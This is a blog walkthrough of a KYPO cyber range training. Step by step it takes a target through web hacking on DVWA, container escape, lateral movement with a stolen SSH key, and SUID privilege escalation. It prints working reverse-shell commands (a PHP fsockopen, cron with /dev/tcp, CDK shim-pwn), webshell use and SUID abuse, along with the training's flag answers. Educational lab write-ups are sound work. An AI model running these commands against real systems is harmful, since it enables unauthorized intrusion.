Introduction

KYPO Cyber Range Platform (KYPO CRP) is an open-sourced cyber range platform developed by Masaryk University since 2013, which enables teachers to create simple or complex cyber security experiments, leveraging the powerful functions of OpenStack, Ansible and Terraform.

To demonstrate its functions, KYPO has open-sourced some demo-trainings. Besides the official trainings, we have created a new KYPO training, so as to evaluate the extensibility of KYPO. This training is based on the cloud native attack scenario proposed in my another post. The resources for this training is available on GitHub.

In this training, you will have an awesome experience with challenges from different security fields. Exactly, there are four challenges: Web hacking, container breakout, lateral movement and privilege escalation.

This post will walk through this training step by step, detailing the related techniques.

TL;DR

The attack path should be like:

graph LR; attacker -- web-hacking --> victim-01-ctr; victim-01-ctr -- breakout --> victim-01-host; victim-01-host -- lateral-move --> victim-02-non-root; victim-02-non-root -- EoP --> victim-02-root

The Web service running in the container on victim-01 is DVWA, where lots of vulnerabilities are available. You can choose any way you like to hack it.

The container management tool containerd on victim-01 is vulnerable to CVE-2020-15257, you could exploit this vulnerability to escape. You could also exploit Linux kernel vulnerabilities like CVE-2021-22555 to escape as well. If your exploitation requires root privilege within the container, the find tool is a set-uid program which could be leveraged to escalate privilege.

There is a hidden private key in the /root/ directory on victim-01 which helps you to log in victim-02 as victim user.

There is a set-uid vim on victim-02. You could use it to read or write any sensitive file.

Preparation

Firstly, we need to import this training in KYPO, create sandbox definition, allocate sandbox and instantiate the training.

After the training is imported, we can see it in the Linear Training Definition Overview page:

import-training.png

Then we create the sandbox definition and see it in the Sandbox Definition Overview page:

create-sandbox-definition.png

Now we create a sandbox pool. We can check the pool and allocate a sandbox in the Pool Overview page:

create-pool.png

You can check whether the allocated sandbox is instantiated in the Pool Detail page:

create-sandbox.png

Finally, we instantiate a training in the Linear Training Instance Overview page:

instantiate-training.png

Access the training in the Training Run Overview page:

access-training.png

Now you must see the Introduction to Training NCL-APTX4869 level of this training:

trainging-introduction.png

All right. Let’s start hacking.

Access the Attacker Machine

In the Get Access level, we can download the SSH configuration files and connect to the attacker node:

➜  test-ssh ssh -F ./pool-id-32-sandbox-id-38-user-config attacker
Warning: Permanently added '192.168.200.216' (ECDSA) to the list of known hosts.
Warning: Permanently added '192.168.64.132' (ECDSA) to the list of known hosts.
Warning: Permanently added '10.1.26.23' (ECDSA) to the list of known hosts.
Linux attacker 5.18.0-kali7-amd64 #1 SMP PREEMPT_DYNAMIC Debian 5.18.16-1kali1 (2022-08-31) x86_64

The programs included with the Kali GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
┌──(user㉿attacker)-[~]
└─$

Actually, we can connect to the graphic interface through SSH-forwarded VNC and log in with credential kali/kali:

ssh -L 127.0.0.1:5900:10.1.26.23:5900 -F ./pool-id-32-sandbox-id-38-user-config attacker

Great! Now we can hack the world from this node:

training-get-access.png

Web Hacking for the First Flag

Enter the Web Hacking level. By nmap 10.1.26.0/24 we find there is a HTTP service at 10.1.26.9:80. After visiting we find it is a DVWA service. Here we choose to upload a webshell generated by weevely3 onto DVWA:

python weevely.py generate 123456 webshell.php

upload-webshell.png

Then connect to the webshell, read the first flag and submit it on the KYPO web page:

┌──(kali㉿attacker)-[~/pjts/weevely3]
└─$ python weevely.py http://10.1.26.9/hackable/uploads/webshell.php 123456
...
weevely> cat /etc/flag.txt
ncl{c0ngrats_4_YouR_F1r5T_P45s}
www-data@victim-01:/var/www/html/hackable/uploads $

Container Breakout for the Second Flag

Enter the Container Breakout level. Through the webshell we find the DVWA service is containerized:

www-data@victim-01:/var/www/html/hackable/uploads $ ls -al / | grep docker
-rwxr-xr-x   1 root root    0 Oct 19 06:15 .dockerenv

How can we escape from the container? There are lots of possibilities. First of all, we need to gather some userful environment information.

We find the kernel may be vulnerable to CVE-2021-22555:

www-data@victim-01:/var/www/html/hackable/uploads $ uname -a
Linux victim-01 5.8.0-48-generic #54~20.04.1-Ubuntu SMP Sat Mar 20 13:40:25 UTC 2021 x86_64 GNU/Linux

We also find that the current container shares host network namespace and seems vulnerable to CVE-2020-15257:

www-data@victim-01:/var/www/html/hackable/uploads $ cat /proc/net/unix | grep containerd | head -n 2
0000000000000000: 00000002 00000000 00010000 0001 01 42403 @/containerd-shim/moby/3466edd275c0cee772d9dda518e5058dcb07181d56404a6e0c0b4da03241f74a/shim.sock@
0000000000000000: 00000002 00000000 00010000 0001 01 37202 @/containerd-shim/moby/26f37d09eaa3336241206f218e3931e6d2d121a3dbd5d17774ab715e94dcd87e/shim.sock@

Maybe we can exploit these vulnerabilities to escape from this container! However, the current user we impersonate has little privilege:

www-data@victim-01:/ $ grep CapEff /proc/self/status
CapEff:	0000000000000000

We need to become root within this container to be able to exploit vulnerabilities above. The webshell is helpful to find SUID programs:

www-data@victim-01:/ $ :audit_suidsgid /
+-----------------------------------+
| ...                               |
| /usr/bin/find                     |
| ...                               |
+-----------------------------------+

find is a SUID program! We can abuse it to get root privilege:

www-data@victim-01:/tmp $ touch xxx
www-data@victim-01:/tmp $ find xxx -exec id \;
uid=33(www-data) gid=33(www-data) euid=0(root) groups=33(www-data)

Escape by Exploiting CVE-2021-22555

Good job. Now let’s try to exploit CVE-2021-22555 to escape. Get the exploit of CVE-2021-22555 from GitHub, compile it and upload the binary to the container through webshell. Run the exploit with root privilege in the container and we will get a root shell of the host! It is very simple so we won’t put details here.

Escape by Exploiting CVE-2020-15257

Now we talk about another way to escape from the container: exploitation of CVE-2022-15257. To exploit this vulnerability, we must get full root privilege. That is, the UID of our shell should be zero.

Luckily, we find there is a cron service running in the container:

www-data@victim-01:/tmp $ ps aux | grep cron
root      1208  0.0  0.1  28000  2312 ?        Ss   06:16   0:00 /usr/sbin/cron

We can abuse cron to get a root shell. Firstly, we want a EUID reverse shell, so that we don’t have to run commands with find any more. Set a reverse shell listener with nc and spawn a reverse shell in PHP with find:

www-data@victim-01:/tmp $ find xxx -exec php -r '$sock=fsockopen("10.1.26.23", 4444);exec("/bin/bash -i -p <&3 >&3 2>&3");' \;

We get the EUID root reverse shell. Now we can write down a reverse shell cron task and wait for the new reverse shell:

┌──(kali㉿attacker)-[~]
└─$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.1.26.23] from (UNKNOWN) [10.1.26.9] 38890
bash: cannot set terminal process group (302): Inappropriate ioctl for device
bash: no job control in this shell
bash-4.4# rm /bin/sh
rm /bin/sh
bash-4.4# ln -s /bin/bash /bin/sh
ln -s /bin/bash /bin/sh
bash-4.4# echo '* * * * * /bin/bash -i >& /dev/tcp/10.1.26.23/4445 0>&1' > /var/spool/cron/crontabs/root
<.1.26.23/4445 0>&1' > /var/spool/cron/crontabs/root
bash-4.4# chmod 600 /var/spool/cron/crontabs/root
chmod 600 /var/spool/cron/crontabs/root

Awesome! We get the UID root shell:

┌──(kali㉿attacker)-[~/pjts/weevely3]
└─$ nc -lvnp 4445
listening on [any] 4445 ...
connect to [10.1.26.23] from (UNKNOWN) [10.1.26.9] 36752
bash: cannot set terminal process group (1910): Inappropriate ioctl for device
bash: no job control in this shell
root@victim-01:~# id
id
uid=0(root) gid=0(root) groups=0(root)
root@victim-01:~#

Now we can just download a tool named CDK to exploit CVE-2020-15257:

root@victim-01:/tmp# ./cdk run shim-pwn reverse 10.1.26.23 4446
./cdk run shim-pwn reverse 10.1.26.23 4446
2022/10/19 08:25:10 trying to spawn shell to 10.1.26.23:4446
2022/10/19 08:25:10 try socket: @/containerd-shim/moby/3466edd275c0cee772d9dda518e5058dcb07181d56404a6e0c0b4da03241f74a/shim.sock

Finally, we achieve container breakout, get a root shell on the host and read the flag:

┌──(kali㉿attacker)-[~]
└─$ nc -lvnp 4446
listening on [any] 4446 ...
connect to [10.1.26.23] from (UNKNOWN) [10.1.26.9] 57428
bash: cannot set terminal process group (4023): Inappropriate ioctl for device
bash: no job control in this shell
<e9db0db6498e795241450d88d5477a1/merged/cdk_WRiKm3# id
id
uid=0(root) gid=0(root) groups=0(root)
<e9db0db6498e795241450d88d5477a1/merged/cdk_WRiKm3# cat /etc/flag.txt
cat /etc/flag.txt
ncl{8luE_Pi1L_OR_RED_p1lL}

Lateral Movement for the Third Flag

Enter the Lateral Movement level. Remember that in the second level we find another server (victim-02) at 10.1.26.4 using nmap. How can we attack this target?

Well, after some explorations, we find a private key in /root/.ssh directory on victim-01 host:

root@victim-01:/root# cd /root/.ssh
cd /root/.ssh
root@victim-01:/root/.ssh# ls -al
ls -al
total 16
drwx------ 2 root root 4096 Oct 19 08:14 .
drwx------ 7 root root 4096 Oct 19 08:14 ..
-rw------- 1 root root 2622 Oct 19 08:14 .victim_02_isa
-rw------- 1 root root 1108 Oct 19 08:04 authorized_keys

We steal the private key, connect to victim-02 as victim user successfully and read the third flag:

┌──(kali㉿attacker)-[~]
└─$ ssh -i ~/.ssh/victim_02 victim@10.1.26.4
The authenticity of host '10.1.26.4 (10.1.26.4)' can't be established.
ED25519 key fingerprint is SHA256:TxJnLYPKtX4unOgWbulx7ZvK0MmP6bW0tOltDepzC24.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
...
victim@victim-02:~$ ls
flag.txt
victim@victim-02:~$ cat flag.txt
ncl{1NTeR_5tE1L4r}

Privilege Escalation for the Last Flag

Enter the Privilege Escalation level. Now we are in victim-02 server. We can try to read /etc/flag.txt but fail:

victim@victim-02:~$ cat /etc/flag.txt
cat: /etc/flag.txt: Permission denied

Once again, let’s search for SUID programs here. Finally, we find that vim is a SUID program, and we can utilize it to read the flag:

victim@victim-02:~$ find / -user root -perm -4000 -exec ls -ldb {} \; 2>/dev/null | grep vim
-rwsr-xr-x 1 root root 2704360 Dec 25  2021 /usr/bin/vim.basic
victim@victim-02:~$ vim /etc/flag.txt  # => ncl{VVH0_1S_4DmInI5tRAt0R}

Actually, we can use the SUID vim to escalate privilege to root as well.

Summary

Now we have completed tasks in KYPO. Congrats! After you submit the last flag on the KYPO portal, the current training ends. You can see the results and statistics:

statistics.png

After designing and playing with this training, I find KYPO could be a useful tool for cybersecurity education. Students may like it. There will be another post which details how to create a training in KYPO.